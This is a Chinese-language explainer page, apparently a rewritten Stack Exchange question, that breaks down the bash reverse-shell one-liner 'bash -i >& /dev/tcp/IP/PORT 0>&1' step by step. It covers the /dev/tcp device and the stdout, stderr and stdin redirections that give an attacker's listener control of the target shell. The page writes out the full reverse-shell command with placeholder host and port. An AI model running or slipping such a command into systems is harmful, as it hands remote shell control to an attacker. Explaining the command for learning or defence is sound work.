You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

请求解释反向Shell命令bash -i >& /dev/tcp/"IP"/"PORT" 0>&1的工作原理

反向Shell命令bash -i >& /dev/tcp/"IP Address"/"Port" 0>&1 完全解析

先拆解命令的每个部分,一步步讲明白:

1. bash -i

启动交互式Bash Shell,-i是interactive的缩写。这种模式下Shell会主动接收输入、返回输出,而非像脚本那样一次性执行完就退出,这是实现远程控制的基础。

2. /dev/tcp/"IP"/"Port"

这是Bash的特殊虚拟设备文件,并非磁盘上的真实文件。当Bash打开它时,会自动发起TCP连接到指定的IP地址和端口——这就是“反向Shell”的核心逻辑:目标机器主动向攻击机的监听端口发起连接,区别于攻击机主动连目标的正向Shell。

3. 重定向逻辑(重点)

Linux系统默认有三个标准数据流,编号分别是:

  • 0:标准输入(stdin),默认来源是键盘
  • 1:标准输出(stdout),默认输出到屏幕
  • 2:标准错误(stderr),默认输出到屏幕的错误提示

① >& /dev/tcp/...

这里的>&是Bash的特殊重定向符号,作用是同时把标准输出(1)和标准错误(2)重定向到后面的目标——也就是刚才建立的TCP连接。换句话说,这个交互式Bash的所有正常输出、错误提示,都会通过TCP连接发送给攻击机。

② 0>&1

这个是把标准输入(0)重定向到标准输出(1)当前指向的位置——也就是同一个TCP连接。这样一来,攻击机通过TCP连接发送的内容,就会变成这个Bash的输入,相当于攻击机可以直接在自己的终端输入命令,让目标机器上的Bash执行。

完整流程串起来

  1. 目标机器执行命令,启动交互式Bash
  2. 主动和攻击机的指定IP+端口建立TCP连接
  3. 把Bash的所有输出(正常+错误)通过TCP发回攻击机
  4. 把Bash的输入源改成TCP连接,接收攻击机发送的命令
  5. 最终实现:攻击机在自己的监听终端里,能看到目标Bash的输出,也能输入命令让目标执行,完全控制目标机器的Shell

内容的提问来源于stack exchange,提问作者Shinji_LinX

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.13 13:51:09